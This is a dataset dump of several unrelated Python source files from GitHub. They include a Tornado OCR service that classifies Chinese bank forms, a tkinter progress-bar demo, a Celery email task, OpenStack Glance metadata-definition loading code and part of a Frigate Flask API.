u\"013\",\r\n u\"结算业务申请书-第一联\":u\"013\",\r\n u\"结算业务申请书-第二联\":u\"013\",\r\n u\"结算业务申请书-第三联\":u\"013\",\r\n u\"结算业务申请书（无号码）\": u\"528\",\r\n u\"结算业务申请书（无号码）-第一联\":u\"528\",\r\n u\"结算业务申请书（无号码）-第二联\":u\"528\",\r\n u\"结算业务申请书（无号码）-第三联\":u\"528\",\r\n u\"进账单\": u\"501\",\r\n u\"转账支票\":u\"001\",\r\n u\"上海贷记凭证大联（2、3联）\":u\"011\",\r\n u\"上海贷记凭证小联（1、4联）\":u\"011b\",\r\n u\"特种转账传票\":u\"520\",\r\n u\"托收凭证\": u\"526\",\r\n u\"银行承兑汇票\":u\"008\",\r\n u\"商业承兑汇票\":u\"010\",\r\n u\"普通支票\":u\"002\",\r\n u\"银行本票\":u\"012\",\r\n u\"通用凭证\":u\"201\",\r\n u\"None\": u\"None\",\r\n\r\n u\"IDCardBack\":u\"016\",\r\n u\"IDCardFront\":u\"015\",\r\n u\"现金缴款单\":u\"510\",\r\n u\"支款凭证\": u\"701\",\r\n u\"zhczhqtzhchxcd\":u\"066\",\r\n u\"zhczhqdqchxcd\":u\"065\",\r\n\r\n u\"通知储蓄存单\":u\"069\",\r\n u\"单位定期存单\":u\"016\",\r\n u\"现金支票\":u\"003\",\r\n u\"单位定期存款开户证实书\":u\"014\",\r\n u\"单位结构性存款开户证实书\":u\"088\",\r\n u\"盛京银行大额存单申请书\":u\"103\",\r\n u\"委托付款授权确认书\":u\"055\",\r\n u\"单位银行结算账户短信通知服务申请书\":u\"901\",\r\n u\"批量业务申请单\":u\"902\",\r\n u\"盛京银行个人结构性存款产品协议书\":u\"101\",\r\n u\"盛京银行开立资信证明申请书\":u\"093\",\r\n u\"预制卡\":u\"61\",\r\n u\"资信证明书（正本）\":u\"None\"\r\n}\r\n\r\n\r\ndef base64ToImg(image_string):\r\n img_data = base64.b64decode(image_string)\r\n nparr = np.fromstring(img_data, np.uint8)\r\n img_np = cv2.imdecode(nparr, cv2.IMREAD_COLOR)\r\n return img_np\r\n\r\ndef getImgByUrl(imgSrc):\r\n resp = urllib.request.urlopen(imgSrc)\r\n image = np.asarray(bytearray(resp.read()), dtype=\"uint8\")\r\n image = cv2.imdecode(image, cv2.IMREAD_COLOR)\r\n return image\r\n\r\nclass Executor(ThreadPoolExecutor):\r\n _instance = None\r\n\r\n def __new__(cls, *args, **kwargs):\r\n if not getattr(cls, '_instance', None):\r\n cls._instance = ThreadPoolExecutor(max_workers=10)\r\n return cls._instance\r\n\r\nclass BillTypeHandler(tornado.web.RequestHandler): \r\n executor = Executor()\r\n\r\n \r\n @tornado.web.asynchronous # 异步处理\r\n @tornado.gen.coroutine # 使用协程调度\r\n def post(self):\r\n \"\"\" get 接口封装 \"\"\"\r\n\r\n # 可以同时获取POST和GET请求参数\r\n dataStr = self.request.body\r\n result = yield self._process(dataStr)\r\n self.write(result) \r\n\r\n @tornado.concurrent.run_on_executor # 增加并发量\r\n def _process(self, dataStr):\r\n # 此处执行具体的任务\r\n type_result = \"\"\r\n return_result = {}\r\n try:\r\n data = json.loads(dataStr)\r\n param = data[\"param\"]\r\n paramType = data[\"type\"]\r\n return_result[\"url\"] = param\r\n return_result[\"type\"] = u\"None\"\r\n if paramType == 1:\r\n img = base64ToImg(param)\r\n elif paramType == 2:\r\n img = param\r\n elif paramType == 3:\r\n img = getImgByUrl(param)\r\n else: # para error\r\n return_result[\"type\"] = \"para error: check type\"\r\n return json.dumps(return_result)\r\n\r\n type_result = pred(img)\r\n # print(\"->cnn_result\")\r\n if type_result not in id_rt_value:\r\n type_result = billType(img, tess_api, tess_api_vert, modelImgList)\r\n if type_result is \"None\":\r\n type_result = model_match_inter.get_class(img)\r\n\r\n # print(\"->tess_result\")\r\n \r\n # type_result = billType(img, tess_api, tess_api_vert, modelImgList) #single tess\r\n\r\n # 根据识别结果返回 类别代码\r\n for item in typeList.keys():\r\n if item == type_result:\r\n type_result = typeList[item]\r\n break\r\n \r\n #print(type_result)\r\n return_result[\"type\"] = type_result\r\n #runlog.info(type_result)\r\n except:\r\n runlog.error(\"运行失败: \" + str(dataStr))\r\n runlog.error(traceback.format_exc())\r\n #print(e)\r\n\r\n return json.dumps(return_result)\r\n\r\nclass WebServerApplication(object):\r\n def __init__(self, port):\r\n self.port = port\r\n #self.settings = {'debug': False, 'autoreload':False}\r\n self.settings = {'debug': False}\r\n\r\n def make_app(self):\r\n \"\"\" 构建Handler\r\n (): 一个括号内为一个Handler\r\n \"\"\"\r\n\r\n return tornado.web.Application([\r\n (r\"/getBillType?\", BillTypeHandler)\r\n ], ** self.settings)\r\n\r\n def process(self):\r\n \"\"\" 构建app, 监听post, 启动服务 \"\"\"\r\n\r\n app = self.make_app() \r\n app.listen(self.port)\r\n tornado.ioloop.IOLoop.current().start()\r\n\r\ndef startWebService(server_port):\r\n server = WebServerApplication(server_port)\r\n server.process()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # 配置文件写入进程号\r\n configPath = \"./paramConfig.conf\"\r\n cf = MyConf()\r\n cf.read(configPath) \r\n currentPid = os.getpid()\r\n Writepid(configPath,cf,currentPid) \r\n \r\n tess_api = TessAPI()\r\n tess_api.Tess_API_Init(lang = 'chi_new_stsong_jx',flag_digit = 0,psm = 6)\r\n tess_api_vert = TessAPI()\r\n tess_api_vert.Tess_API_Init(lang='chi_new_stsong_jx', flag_digit=0, psm=5)\r\n modelPathList = [os.path.join('./tmpl_model',itemPath) for itemPath in os.listdir(r'./tmpl_model') if itemPath.endswith(\".png\")]\r\n for m_imagePath in modelPathList:\r\n type = os.path.basename(m_imagePath).replace(\".png\",\"\")\r\n m_image = cv2.imread(m_imagePath,0)\r\n modelImgList.append([type,m_image])\r\n\r\n server_port = \"10002\"\r\n \r\n #定义服务端口\r\n if len(sys.argv)>1:\r\n server_port = sys.argv[1]\r\n \r\n logfilename = \"./runLog_\"+server_port+\".log\"\r\n runlog = logger_Info(logIndex=\"debug\",logPath=logfilename)\r\n \r\n server = WebServerApplication(str(server_port))\r\n server.process()","repo_name":"yahuuu/shengjingOcr_v3.3","sub_path":"billTypeWebService_v2_sub.py","file_name":"billTypeWebService_v2_sub.py","file_ext":"py","file_size_in_byte":8160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74067325921","text":"from datetime import datetime,date\n\ndef watch_log(name,ep_number,last_ep):\n '''\n function to create a watch log\n '''\n \n current_date = date.today()\n now = datetime.now()\n current_time = now.strftime(\"%H:%M:%S\")\n with open(\"watch_log.txt\",\"a\") as f:\n f.write(\"[\"+str(current_date) + \":\" + current_time + \"] Starting \" + name+\": episode-\"+ep_number+\":\"+str(last_ep)+\"\\n\")\n f.close()\n","repo_name":"alpha-hexor/animux","sub_path":"codebase/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"34670434987","text":"# a demo of a progressbar that can be paused and reset.\n# 2020-09-23-0948-SoddingOpossum.py\n\nimport tkinter as tk\nfrom tkinter import ttk\n\ndef tick(*args):\n # var will loop over range(100) {so 0 - 99, inclusive} by default\n if var.get() >= 99: # could also use `prog_bar['value']`. The Variable is required for the command to be triggered, so may as well use it here too.\n prog_bar.stop()\n start_btn['text'] = \"Restart\"\n elif var.get() >= 65:\n prog_bar['style'] = 'red.Horizontal.TProgressbar'\n elif var.get() >= 35:\n prog_bar['style'] = 'yellow.Horizontal.TProgressbar'\n else:\n prog_bar['style'] = 'Horizontal.TProgressbar'\n\ndef start_timer():\n if start_btn['text'] in (\"Start\", \"Unpause\", \"Restart\"):\n prog_bar.start(interval=100)\n start_btn['text'] = \"Pause\"\n elif start_btn['text'] == \"Pause\":\n prog_bar.stop()\n start_btn['text'] = \"Unpause\"\n\ndef reset_timer():\n prog_bar.stop()\n start_btn['text'] = \"Start\"\n var.set(0)\n\n# DEMO:\nroot = tk.Tk()\n\nstyle = ttk.Style()\nstyle.configure(\"red.Horizontal.TProgressbar\", background=\"red\")\nstyle.configure(\"yellow.Horizontal.TProgressbar\", background=\"yellow\")\nvar = tk.IntVar()\nvar.trace('w', tick)\nprog_bar = ttk.Progressbar(root, orient=tk.HORIZONTAL, variable=var)\nprog_bar.pack()\nstart_btn = ttk.Button(text=\"Start\", command=start_timer)\nstart_btn.pack()\nbtn = ttk.Button(text=\"Reset\", command=reset_timer)\nbtn.pack()\n\nroot.mainloop()\n","repo_name":"socal-nerdtastic/TkExamples","sub_path":"pauseable_progressbar.py","file_name":"pauseable_progressbar.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"33961157184","text":"# import xlrd\n# from xlutils.copy import copy\n# #------------------------------------------------\n# def agg(list,delimiter,num=1,subtotal=sum):\n# l = [int(x.split(delimiter)[num]) for x in list]\n# return subtotal(l)\n# #------------------------------------------------\n#\n# wb=xlrd.open_workbook('2018年业绩表.xls')\n# ws=wb.sheet_by_name('2018业绩表')\n# nwb=copy(wb);nws=nwb.get_sheet('2018业绩表')\n# r=0\n# while r None:\n \"\"\"\n Send email notifications for verified code checks.\n\n This task retrieves all code checks with a status of 'VERIFIED' and 'is_sent' set to False.\n It sends an email notification to the user associated with each code check and updates\n the 'is_sent' field to True for each sent notification.\n\n Returns:\n None\n \"\"\"\n checks: List[CodeCheck] = CodeCheck.objects.filter(\n status=CodeCheck.Status.VERIFIED,\n is_sent=False\n ).all()\n\n for check in checks:\n try:\n # Send email notification\n send_mail(\n 'Verification Report',\n f'File verification results: {check.result}',\n 'melnov.nikita@gmail.com',\n [check.file_name.user_email],\n fail_silently=False,\n )\n\n # Log the email notification\n logger.info(f'Email notification sent to {check.file_name.user_email} for check ID {check.id}')\n\n # Mark the check as sent\n check.is_sent = True\n check.save()\n except Exception as e:\n # Log errors if email notification fails\n logger.error(f'Error sending email notification for check ID {check.id}: {str(e)}')\n","repo_name":"NikitaWinner/test_skypro","sub_path":"email_notification_app/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"5442713426","text":"import json\nimport os\nfrom os.path import isfile\nfrom os.path import join\nimport re\n\nfrom oslo_config import cfg\nfrom oslo_log import log as logging\nfrom oslo_utils import encodeutils\nimport sqlalchemy\nfrom sqlalchemy import and_\nfrom sqlalchemy.schema import MetaData\nfrom sqlalchemy.sql import select\n\nfrom glance.common import timeutils\nfrom glance.i18n import _, _LE, _LI, _LW\n\nLOG = logging.getLogger(__name__)\n\nmetadata_opts = [\n cfg.StrOpt('metadata_source_path',\n default='/etc/glance/metadefs/',\n help=_(\"\"\"\nAbsolute path to the directory where JSON metadefs files are stored.\n\nGlance Metadata Definitions (\"metadefs\") are served from the database,\nbut are stored in files in the JSON format. The files in this\ndirectory are used to initialize the metadefs in the database.\nAdditionally, when metadefs are exported from the database, the files\nare written to this directory.\n\nNOTE: If you plan to export metadefs, make sure that this directory\nhas write permissions set for the user being used to run the\nglance-api service.\n\nPossible values:\n * String value representing a valid absolute pathname\n\nRelated options:\n * None\n\n\"\"\")),\n]\n\nCONF = cfg.CONF\nCONF.register_opts(metadata_opts)\n\n\ndef get_metadef_namespaces_table(meta, conn):\n with conn.begin():\n return sqlalchemy.Table('metadef_namespaces', meta, autoload_with=conn)\n\n\ndef get_metadef_resource_types_table(meta, conn):\n with conn.begin():\n return sqlalchemy.Table('metadef_resource_types', meta,\n autoload_with=conn)\n\n\ndef get_metadef_namespace_resource_types_table(meta, conn):\n with conn.begin():\n return sqlalchemy.Table('metadef_namespace_resource_types', meta,\n autoload_with=conn)\n\n\ndef get_metadef_properties_table(meta, conn):\n with conn.begin():\n return sqlalchemy.Table('metadef_properties', meta, autoload_with=conn)\n\n\ndef get_metadef_objects_table(meta, conn):\n with conn.begin():\n return sqlalchemy.Table('metadef_objects', meta, autoload_with=conn)\n\n\ndef get_metadef_tags_table(meta, conn):\n with conn.begin():\n return sqlalchemy.Table('metadef_tags', meta, autoload_with=conn)\n\n\ndef _get_resource_type_id(meta, conn, name):\n rt_table = get_metadef_resource_types_table(meta, conn)\n with conn.begin():\n resource_type = conn.execute(\n select(rt_table.c.id).where(\n rt_table.c.name == name\n ).select_from(rt_table)\n ).fetchone()\n if resource_type:\n return resource_type[0]\n return None\n\n\ndef _get_resource_type(meta, conn, resource_type_id):\n rt_table = get_metadef_resource_types_table(meta, conn)\n with conn.begin():\n return conn.execute(\n rt_table.select().where(\n rt_table.c.id == resource_type_id\n )\n ).fetchone()\n\n\ndef _get_namespace_resource_types(meta, conn, namespace_id):\n namespace_resource_types_table = (\n get_metadef_namespace_resource_types_table(meta, conn))\n with conn.begin():\n return conn.execute(\n namespace_resource_types_table.select().where(\n namespace_resource_types_table.c.namespace_id == namespace_id\n )\n ).fetchall()\n\n\ndef _get_namespace_resource_type_by_ids(meta, conn, namespace_id, rt_id):\n namespace_resource_types_table = (\n get_metadef_namespace_resource_types_table(meta, conn))\n with conn.begin():\n return conn.execute(\n namespace_resource_types_table.select().where(and_(\n namespace_resource_types_table.c.namespace_id == namespace_id,\n namespace_resource_types_table.c.resource_type_id == rt_id)\n )\n ).fetchone()\n\n\ndef _get_properties(meta, conn, namespace_id):\n properties_table = get_metadef_properties_table(meta, conn)\n with conn.begin():\n return conn.execute(\n properties_table.select().where(\n properties_table.c.namespace_id == namespace_id\n )\n ).fetchall()\n\n\ndef _get_objects(meta, conn, namespace_id):\n objects_table = get_metadef_objects_table(meta, conn)\n with conn.begin():\n return conn.execute(\n objects_table.select().where(\n objects_table.c.namespace_id == namespace_id)\n ).fetchall()\n\n\ndef _get_tags(meta, conn, namespace_id):\n tags_table = get_metadef_tags_table(meta, conn)\n with conn.begin():\n return conn.execute(\n tags_table.select().where(\n tags_table.c.namespace_id == namespace_id\n )\n ).fetchall()\n\n\ndef _get_resource_id(table, conn, namespace_id, resource_name):\n with conn.begin():\n resource = conn.execute(\n select(table.c.id).where(\n and_(\n table.c.namespace_id == namespace_id,\n table.c.name == resource_name,\n )\n ).select_from(table)\n ).fetchone()\n if resource:\n return resource[0]\n return None\n\n\ndef _clear_metadata(meta, conn):\n metadef_tables = [get_metadef_properties_table(meta, conn),\n get_metadef_objects_table(meta, conn),\n get_metadef_tags_table(meta, conn),\n get_metadef_namespace_resource_types_table(meta, conn),\n get_metadef_namespaces_table(meta, conn),\n get_metadef_resource_types_table(meta, conn)]\n\n with conn.begin():\n for table in metadef_tables:\n conn.execute(table.delete())\n LOG.info(_LI(\"Table %s has been cleared\"), table)\n\n\ndef _clear_namespace_metadata(meta, conn, namespace_id):\n metadef_tables = [get_metadef_properties_table(meta, conn),\n get_metadef_objects_table(meta, conn),\n get_metadef_tags_table(meta, conn),\n get_metadef_namespace_resource_types_table(meta, conn)]\n namespaces_table = get_metadef_namespaces_table(meta, conn)\n\n with conn.begin():\n for table in metadef_tables:\n conn.execute(\n table.delete().where(table.c.namespace_id == namespace_id))\n\n conn.execute(\n namespaces_table.delete().where(\n namespaces_table.c.id == namespace_id))\n\n\ndef _populate_metadata(meta, conn, metadata_path=None, merge=False,\n prefer_new=False, overwrite=False):\n if not metadata_path:\n metadata_path = CONF.metadata_source_path\n\n try:\n if isfile(metadata_path):\n json_schema_files = [metadata_path]\n else:\n json_schema_files = [f for f in os.listdir(metadata_path)\n if isfile(join(metadata_path, f))\n and f.endswith('.json')]\n except OSError as e:\n LOG.error(encodeutils.exception_to_unicode(e))\n return\n\n if not json_schema_files:\n LOG.error(_LE(\"Json schema files not found in %s. Aborting.\"),\n metadata_path)\n return\n\n namespaces_table = get_metadef_namespaces_table(meta, conn)\n namespace_rt_table = get_metadef_namespace_resource_types_table(meta, conn)\n objects_table = get_metadef_objects_table(meta, conn)\n tags_table = get_metadef_tags_table(meta, conn)\n properties_table = get_metadef_properties_table(meta, conn)\n resource_types_table = get_metadef_resource_types_table(meta, conn)\n\n for json_schema_file in json_schema_files:\n try:\n file = join(metadata_path, json_schema_file)\n with open(file) as json_file:\n metadata = json.load(json_file)\n except Exception as e:\n LOG.error(_LE(\"Failed to parse json file %(file_path)s while \"\n \"populating metadata due to: %(error_msg)s\"),\n {\"file_path\": file,\n \"error_msg\": encodeutils.exception_to_unicode(e)})\n continue\n\n values = {\n 'namespace': metadata.get('namespace'),\n 'display_name': metadata.get('display_name'),\n 'description': metadata.get('description'),\n 'visibility': metadata.get('visibility'),\n 'protected': metadata.get('protected'),\n 'owner': metadata.get('owner', 'admin')\n }\n\n with conn.begin():\n db_namespace = conn.execute(\n select(\n namespaces_table.c.id\n ).where(\n namespaces_table.c.namespace == values['namespace']\n ).select_from(\n namespaces_table\n )\n ).fetchone()\n\n if db_namespace and overwrite:\n LOG.info(_LI(\"Overwriting namespace %s\"), values['namespace'])\n _clear_namespace_metadata(meta, db_namespace[0])\n db_namespace = None\n\n if not db_namespace:\n values.update({'created_at': timeutils.utcnow()})\n _insert_data_to_db(conn, namespaces_table, values)\n\n with conn.begin():\n db_namespace = conn.execute(\n select(\n namespaces_table.c.id\n ).where(\n namespaces_table.c.namespace == values['namespace']\n ).select_from(\n namespaces_table\n )\n ).fetchone()\n elif not merge:\n LOG.info(_LI(\"Skipping namespace %s. It already exists in the \"\n \"database.\"), values['namespace'])\n continue\n elif prefer_new:\n values.update({'updated_at': timeutils.utcnow()})\n _update_data_in_db(namespaces_table, values,\n namespaces_table.c.id, db_namespace[0])\n\n namespace_id = db_namespace[0]\n\n for resource_type in metadata.get('resource_type_associations', []):\n rt_id = _get_resource_type_id(meta, conn, resource_type['name'])\n if not rt_id:\n val = {\n 'name': resource_type['name'],\n 'created_at': timeutils.utcnow(),\n 'protected': True\n }\n _insert_data_to_db(conn, resource_types_table, val)\n rt_id = _get_resource_type_id(\n meta, conn, resource_type['name'])\n elif prefer_new:\n val = {'updated_at': timeutils.utcnow()}\n _update_data_in_db(resource_types_table, val,\n resource_types_table.c.id, rt_id)\n\n values = {\n 'namespace_id': namespace_id,\n 'resource_type_id': rt_id,\n 'properties_target': resource_type.get(\n 'properties_target'),\n 'prefix': resource_type.get('prefix')\n }\n namespace_resource_type = _get_namespace_resource_type_by_ids(\n meta, conn, namespace_id, rt_id)\n if not namespace_resource_type:\n values.update({'created_at': timeutils.utcnow()})\n _insert_data_to_db(conn, namespace_rt_table, values)\n elif prefer_new:\n values.update({'updated_at': timeutils.utcnow()})\n _update_rt_association(namespace_rt_table, values,\n rt_id, namespace_id)\n\n for name, schema in metadata.get('properties', {}).items():\n values = {\n 'name': name,\n 'namespace_id': namespace_id,\n 'json_schema': json.dumps(schema)\n }\n property_id = _get_resource_id(\n properties_table, conn, namespace_id, name,\n )\n if not property_id:\n values.update({'created_at': timeutils.utcnow()})\n _insert_data_to_db(conn, properties_table, values)\n elif prefer_new:\n values.update({'updated_at': timeutils.utcnow()})\n _update_data_in_db(properties_table, values,\n properties_table.c.id, property_id)\n\n for object in metadata.get('objects', []):\n values = {\n 'name': object['name'],\n 'description': object.get('description'),\n 'namespace_id': namespace_id,\n 'json_schema': json.dumps(\n object.get('properties'))\n }\n object_id = _get_resource_id(objects_table, conn, namespace_id,\n object['name'])\n if not object_id:\n values.update({'created_at': timeutils.utcnow()})\n _insert_data_to_db(conn, objects_table, values)\n elif prefer_new:\n values.update({'updated_at': timeutils.utcnow()})\n _update_data_in_db(objects_table, values,\n objects_table.c.id, object_id)\n\n for tag in metadata.get('tags', []):\n values = {\n 'name': tag.get('name'),\n 'namespace_id': namespace_id,\n }\n tag_id = _get_resource_id(\n tags_table, conn, namespace_id, tag['name'])\n if not tag_id:\n values.update({'created_at': timeutils.utcnow()})\n _insert_data_to_db(conn, tags_table, values)\n elif prefer_new:\n values.update({'updated_at': timeutils.utcnow()})\n _update_data_in_db(tags_table, values,\n tags_table.c.id, tag_id)\n\n LOG.info(_LI(\"File %s loaded to database.\"), file)\n\n LOG.info(_LI(\"Metadata loading finished\"))\n\n\ndef _insert_data_to_db(conn, table, values, log_exception=True):\n try:\n with conn.begin():\n conn.execute(table.insert().values(values))\n except sqlalchemy.exc.IntegrityError:\n if log_exception:\n LOG.warning(_LW(\"Duplicate entry for values: %s\"), values)\n\n\ndef _update_data_in_db(conn, table, values, column, value):\n try:\n with conn.begin():\n conn.execute(\n table.update().values(values).where(column == value)\n )\n except sqlalchemy.exc.IntegrityError:\n LOG.warning(_LW(\"Duplicate entry for values: %s\"), values)\n\n\ndef _update_rt_association(conn, table, values, rt_id, namespace_id):\n try:\n with conn.begin():\n conn.execute(\n table.update().values(values).where(\n and_(\n table.c.resource_type_id == rt_id,\n table.c.namespace_id == namespace_id,\n )\n )\n )\n except sqlalchemy.exc.IntegrityError:\n LOG.warning(_LW(\"Duplicate entry for values: %s\"), values)\n\n\ndef _export_data_to_file(meta, conn, path):\n if not path:\n path = CONF.metadata_source_path\n\n namespace_table = get_metadef_namespaces_table(meta)\n with conn.begin():\n namespaces = conn.execute(namespace_table.select()).fetchall()\n\n pattern = re.compile(r'[\\W_]+', re.UNICODE)\n\n for id, namespace in enumerate(namespaces, start=1):\n namespace_id = namespace['id']\n namespace_file_name = pattern.sub('', namespace['display_name'])\n\n values = {\n 'namespace': namespace['namespace'],\n 'display_name': namespace['display_name'],\n 'description': namespace['description'],\n 'visibility': namespace['visibility'],\n 'protected': namespace['protected'],\n 'resource_type_associations': [],\n 'properties': {},\n 'objects': [],\n 'tags': []\n }\n\n namespace_resource_types = _get_namespace_resource_types(\n meta, conn, namespace_id)\n db_objects = _get_objects(meta, conn, namespace_id)\n db_properties = _get_properties(meta, conn, namespace_id)\n db_tags = _get_tags(meta, conn, namespace_id)\n\n resource_types = []\n for namespace_resource_type in namespace_resource_types:\n resource_type = _get_resource_type(\n meta, conn, namespace_resource_type['resource_type_id'])\n resource_types.append({\n 'name': resource_type['name'],\n 'prefix': namespace_resource_type['prefix'],\n 'properties_target': namespace_resource_type[\n 'properties_target']\n })\n values.update({\n 'resource_type_associations': resource_types\n })\n\n objects = []\n for object in db_objects:\n objects.append({\n \"name\": object['name'],\n \"description\": object['description'],\n \"properties\": json.loads(object['json_schema'])\n })\n values.update({\n 'objects': objects\n })\n\n properties = {}\n for property in db_properties:\n properties.update({\n property['name']: json.loads(property['json_schema'])\n })\n values.update({\n 'properties': properties\n })\n\n tags = []\n for tag in db_tags:\n tags.append({\n \"name\": tag['name']\n })\n values.update({\n 'tags': tags\n })\n\n try:\n file_name = ''.join([path, namespace_file_name, '.json'])\n if isfile(file_name):\n LOG.info(_LI(\"Overwriting: %s\"), file_name)\n with open(file_name, 'w') as json_file:\n json_file.write(json.dumps(values))\n except Exception as e:\n LOG.exception(encodeutils.exception_to_unicode(e))\n LOG.info(_LI(\"Namespace %(namespace)s saved in %(file)s\"), {\n 'namespace': namespace_file_name, 'file': file_name})\n\n\ndef db_load_metadefs(engine, metadata_path=None, merge=False,\n prefer_new=False, overwrite=False):\n meta = MetaData()\n\n if not merge and (prefer_new or overwrite):\n LOG.error(_LE(\"To use --prefer_new or --overwrite you need to combine \"\n \"of these options with --merge option.\"))\n return\n\n if prefer_new and overwrite and merge:\n LOG.error(_LE(\"Please provide no more than one option from this list: \"\n \"--prefer_new, --overwrite\"))\n return\n\n with engine.connect() as conn:\n _populate_metadata(\n meta, conn, metadata_path, merge, prefer_new, overwrite)\n\n\ndef db_unload_metadefs(engine):\n meta = MetaData()\n\n with engine.connect() as conn:\n _clear_metadata(meta, conn)\n\n\ndef db_export_metadefs(engine, metadata_path=None):\n meta = MetaData()\n\n with engine.connect() as conn:\n _export_data_to_file(meta, conn, metadata_path)\n","repo_name":"openstack/glance","sub_path":"glance/db/sqlalchemy/metadata.py","file_name":"metadata.py","file_ext":"py","file_size_in_byte":18847,"program_lang":"python","lang":"en","doc_type":"code","stars":501,"dataset":"github-code","pt":"54"} +{"seq_id":"2193954698","text":"import base64\nimport datetime\nimport logging\nimport os\nimport time\nfrom functools import reduce\n\nimport cv2\nimport numpy as np\nfrom flask import (Blueprint, Flask, Response, current_app, jsonify,\n make_response, request)\nfrom peewee import SqliteDatabase, operator, fn, DoesNotExist\nfrom playhouse.shortcuts import model_to_dict\n\nfrom frigate.const import CLIPS_DIR\nfrom frigate.models import Event\nfrom frigate.stats import stats_snapshot\nfrom frigate.util import calculate_region\nfrom frigate.version import VERSION\n\nlogger = logging.getLogger(__name__)\n\nbp = Blueprint('frigate', __name__)\n\ndef create_app(frigate_config, database: SqliteDatabase, stats_tracking, detected_frames_processor):\n app = Flask(__name__)\n\n @app.before_request\n def _db_connect():\n database.connect()\n\n @app.teardown_request\n def _db_close(exc):\n if not database.is_closed():\n database.close()\n\n app.frigate_config = frigate_config\n app.stats_tracking = stats_tracking\n app.detected_frames_processor = detected_frames_processor\n\n app.register_blueprint(bp)\n\n return app\n\n@bp.route('/')\ndef is_healthy():\n return \"Frigate is running. Alive and healthy!\"\n\n@bp.route('/events/summary')\ndef events_summary():\n has_clip = request.args.get('has_clip', type=int)\n has_snapshot = request.args.get('has_snapshot', type=int)\n\n clauses = []\n\n if not has_clip is None:\n clauses.append((Event.has_clip == has_clip))\n \n if not has_snapshot is None:\n clauses.append((Event.has_snapshot == has_snapshot))\n\n if len(clauses) == 0:\n clauses.append((1 == 1))\n\n groups = (\n Event\n .select(\n Event.camera,\n Event.label,\n fn.strftime('%Y-%m-%d', fn.datetime(Event.start_time, 'unixepoch', 'localtime')).alias('day'),\n Event.zones,\n fn.COUNT(Event.id).alias('count')\n )\n .where(reduce(operator.and_, clauses))\n .group_by(\n Event.camera,\n Event.label,\n fn.strftime('%Y-%m-%d', fn.datetime(Event.start_time, 'unixepoch', 'localtime')),\n Event.zones\n )\n )\n\n return jsonify([e for e in groups.dicts()])\n\n@bp.route('/events/')\ndef event(id):\n try:\n return model_to_dict(Event.get(Event.id == id))\n except DoesNotExist:\n return \"Event not found\", 404\n\n@bp.route('/events//thumbnail.jpg')\ndef event_thumbnail(id):\n format = request.args.get('format', 'ios')\n thumbnail_bytes = None\n try:\n event = Event.get(Event.id == id)\n thumbnail_bytes = base64.b64decode(event.thumbnail)\n except DoesNotExist:\n # see if the object is currently being tracked\n try:\n for camera_state in current_app.detected_frames_processor.camera_states.values():\n if id in camera_state.tracked_objects:\n tracked_obj = camera_state.tracked_objects.get(id)\n if not tracked_obj is None:\n thumbnail_bytes = tracked_obj.get_thumbnail()\n except:\n return \"Event not found\", 404\n\n if thumbnail_bytes is None:\n return \"Event not found\", 404\n\n # android notifications prefer a 2:1 ratio\n if format == 'android':\n jpg_as_np = np.frombuffer(thumbnail_bytes, dtype=np.uint8)\n img = cv2.imdecode(jpg_as_np, flags=1)\n thumbnail = cv2.copyMakeBorder(img, 0, 0, int(img.shape[1]*0.5), int(img.shape[1]*0.5), cv2.BORDER_CONSTANT, (0,0,0))\n ret, jpg = cv2.imencode('.jpg', thumbnail)\n thumbnail_bytes = jpg.tobytes()\n\n response = make_response(thumbnail_bytes)\n response.headers['Content-Type'] = 'image/jpg'\n return response\n\n@bp.route('/events//snapshot.jpg')\ndef event_snapshot(id):\n jpg_bytes = None\n try:\n event = Event.get(Event.id == id)\n if not event.has_snapshot:\n return \"Snapshot not available\", 404\n # read snapshot from disk\n with open(os.path.join(CLIPS_DIR, f\"{event.camera}-{id}.jpg\"), 'rb') as image_file:\n jpg_bytes = image_file.read()\n except DoesNotExist:\n # see if the object is currently being tracked\n try:\n for camera_state in current_app.detected_frames_processor.camera_states.values():\n if id in camera_state.tracked_objects:\n tracked_obj = camera_state.tracked_objects.get(id)\n if not tracked_obj is None:\n jpg_bytes = tracked_obj.get_jpg_bytes(\n timestamp=request.args.get('timestamp', type=int),\n bounding_box=request.args.get('bbox', type=int),\n crop=request.args.get('crop', type=int),\n height=request.args.get('h', type=int)\n )\n except:\n return \"Event not found\", 404\n except:\n return \"Event not found\", 404\n\n response = make_response(jpg_bytes)\n response.headers['Content-Type'] = 'image/jpg'\n return response\n\n@bp.route('/events')\ndef events():\n limit = request.args.get('limit', 100)\n camera = request.args.get('camera')\n label = request.args.get('label')\n zone = request.args.get('zone')\n after = request.args.get('after', type=int)\n before = request.args.get('before', type=int)\n has_clip = request.args.get('has_clip', type=int)\n has_snapshot = request.args.get('has_snapshot', type=int)\n\n clauses = []\n\n if camera:\n clauses.append((Event.camera == camera))\n\n if label:\n clauses.append((Event.label == label))\n\n if zone:\n clauses.append((Event.zones.cast('text') % f\"*\\\"{zone}\\\"*\"))\n\n if after:\n clauses.append((Event.start_time >= after))\n\n if before:\n clauses.append((Event.start_time <= before))\n\n if not has_clip is None:\n clauses.append((Event.has_clip == has_clip))\n \n if not has_snapshot is None:\n clauses.append((Event.has_snapshot == has_snapshot))\n\n if len(clauses) == 0:\n clauses.append((1 == 1))\n\n events = (Event.select()\n .where(reduce(operator.and_, clauses))\n .order_by(Event.start_time.desc())\n .limit(limit))\n\n return jsonify([model_to_dict(e) for e in events])\n\n@bp.route('/config')\ndef config():\n return jsonify(current_app.frigate_config.to_dict())\n\n@bp.route('/version')\ndef version():\n return VERSION\n\n@bp.route('/stats')\ndef stats():\n stats = stats_snapshot(current_app.stats_tracking)\n return jsonify(stats)\n\n@bp.route('//